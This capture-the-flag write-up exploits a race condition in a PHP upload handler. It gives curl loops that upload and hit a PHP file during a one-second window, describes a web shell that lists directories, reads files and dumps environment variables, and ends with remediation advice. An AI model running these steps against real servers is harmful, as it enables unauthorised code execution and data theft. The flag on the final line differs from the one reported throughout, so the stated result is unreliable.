Planner
TL;DR
We abused a race condition in upload.php
that saves an uploaded file, sleeps 1s, then deletes it. By hammering GET /uploads/shell.php
during that 1-second window, our PHP executed even though the file was later deleted. Because OS command functions were disabled and open_basedir
restricted, we pivoted to a pure-PHP “cmd shell” and grabbed the flag from environment variables:
Flag: flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}
Target Overview
- App: Planner portal with task input + “Import ToDo List”
- Key endpoints:
planning.php
(UI + AJAX upload)
upload.php
(file upload & “scan”)
- Environment (observed):
- PHP disables:
exec,shell_exec,system,passthru,popen,proc_open
open_basedir = /var/www/why2025planner:/tmp
Access-Control-Allow-Origin: *
(overly permissive CORS)
- PHP disables:
Vulnerabilities Identified
- Race condition / TOCTOU in upload handler
upload.php
does:move_uploaded_file()
→sleep(1)
→unlink()
.
- For ~1 second the file exists and is web-reachable under
/uploads/<name>
.
- Executable uploads
- Uploaded
.php
files are stored in a web-served directory (/uploads
) and are executed by PHP if hit before deletion.
- Uploaded
- Information disclosure
- Upload responses echo absolute paths (e.g.,
/var/www/why2025planner/uploads/...
).
- Upload responses echo absolute paths (e.g.,
- Front-end JSON parsing bug (minor)
- Splits by regex
/{[^}]+}/g
; filenames containing}
break the UI (“Invalid JSON”).
- Not required for exploitation, but indicates weak client-side parsing.
- Splits by regex
- Defense-in-depth present but bypassed
disable_functions
andopen_basedir
blocked OS commands but did not stop PHP code execution or environment access.
Exploitation Walkthrough
1) Recon the upload flow
Testing .txt/.md/.json/.csv/.zip
all returned:
{"status":"Started","message":"Checking file /var/www/why2025planner/uploads/<file>"}
{"status":"deleted","message":"File deleted after scan. Wrong type!"}
This revealed the save path and that a file exists briefly before deletion.
2) Race to code execution
We uploaded a tiny PHP with a clear execution marker:
<?php echo "HIT:".md5(1337)."\n";
Terminal A (spam upload):
while true; do
curl -s -X POST 'https://why2025planning.ctf.zone/upload.php' \
-H 'Cookie: PHPSESSID=YOURSESSID' \
-F 'file=@./shell.php;filename=shell.php;type=application/x-php' >/dev/null
done
Terminal B (race the GET):
while true; do
curl -s https://why2025planning.ctf.zone/uploads/shell.php | grep HIT && echo "[*] GOT IT" && break
done
We observed:
HIT:e48e13207341b6bffb7fb1622282247b
[*] GOT IT
→ PHP executed before the file was deleted.
3) Pivot: Pure-PHP operations (no OS exec)
whoami
etc. produced no output because PHP had exec/shell_exec/system/...
disabled and open_basedir
restricted.
We then moved to a file-oriented PHP shell: listing directories and reading files using scandir()
/ file_get_contents()
.
We looted:
/var/www/why2025planner/{upload.php,planning.php,init_db.php,...}
- SQLite DB at
db/db.sqlite
(contained only a decoyflag{lol}
)
4) Build a practical “cmd shell” (still pure PHP)
To make it easy for the team to use via URL params, we uploaded cmd.php
with command-like actions that don’t rely on OS exec:
?cmd=ls&path=/dir
→ list directory (viascandir
)
?cmd=cat&path=/file
→ read file (base64-safe)
?cmd=env
→ dump environment variables (viagetenv
)
?cmd=ln&src=/target&dst=/var/www/.../uploads/x
→ (optional) symlink helper
?cmd=sh&arg=id
→ best-effort OS exec (tries many paths; expected to fail here)
Example:
https://why2025planning.ctf.zone/uploads/cmd.php?cmd=env
Output (key line):
flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}
Here, the flag is the environment variable’s name (value empty). This is a common pattern in CTF containers that set the flag via env.
Note: We also considered a symlink escape (/uploads → /) to read /proc/self/environ via Apache, but it wasn’t necessary since ?cmd=env gave it directly.
Root Cause Summary
- Design flaw: Storing user uploads under a web-served path and sleeping before deleting → trivial race window for executing uploaded code.
- Insufficient server-side validation: No type/extension enforcement (or at least not before the code becomes accessible).
- Excessive information in responses: Leaked absolute paths.
- Client-side parsing bug: Regex-based JSON splitting can be abused to break UI (less critical).
- Defense-in-depth only partial:
disable_functions
/open_basedir
didn’t prevent PHP-level exploitation and env leakage.
Remediation Recommendations
- Never serve uploads directly from a PHP-interpreted path.
- Store outside webroot; serve downloads through a safe handler.
- If must be web-served, ensure the web server does not parse PHP in that directory (
php_admin_flag engine off
/ handler rules).
- Validate before storing and avoid time windows.
- Stream to a quarantine directory not reachable by the web server.
- Scan, then move to a safe storage location if clean.
- Remove the 1-second
sleep()
and never expose a window where untrusted files are reachable.
- Tighten server responses
- Don’t echo absolute paths; use opaque IDs.
- Fix front-end JSON parsing
- Return a proper JSON array; don’t regex-split concatenated JSON.
- CORS
- Avoid
Access-Control-Allow-Origin: *
unless strictly necessary; use specific origins and avoid exposing session-based endpoints cross-origin.
- Avoid
Artifacts / PoC Snippets
Race upload loop
while true; do
curl -s -X POST 'https://why2025planning.ctf.zone/upload.php' \
-H 'Cookie: PHPSESSID=YOURSESSID' \
-F 'file=@./cmd.php;filename=cmd.php;type=application/x-php' >/dev/null
done
Confirm execution & dump env
curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=env'
# -> shows: flag{1cdaf6ddac4je1a91a8dcb8e01llbfbb}=
List files (pure PHP “ls”)
curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=ls&path=/var/www/why2025planner'
Read file (pure PHP “cat”)
curl -s 'https://why2025planning.ctf.zone/uploads/cmd.php?cmd=cat&path=/var/www/why2025planner/planning.php'
Lessons Learned
- Even with
disable_functions
andopen_basedir
, code execution is still code execution—you can pivot to PHP-native capabilities (file read, env, DB) and win.
- Never trust a “temporary” upload window: if it’s web-reachable at any moment, assume an attacker can hit it.
- Flags in CTF web challenges are frequently delivered via environment variables—always check
getenv()
or/proc/self/environ
.
Final result: Flag recovered via ?cmd=env
from a pure-PHP command shim, exploiting a race in upload.php
.
flag{5a593f66535c10f2291a8dcb8e88bfbb}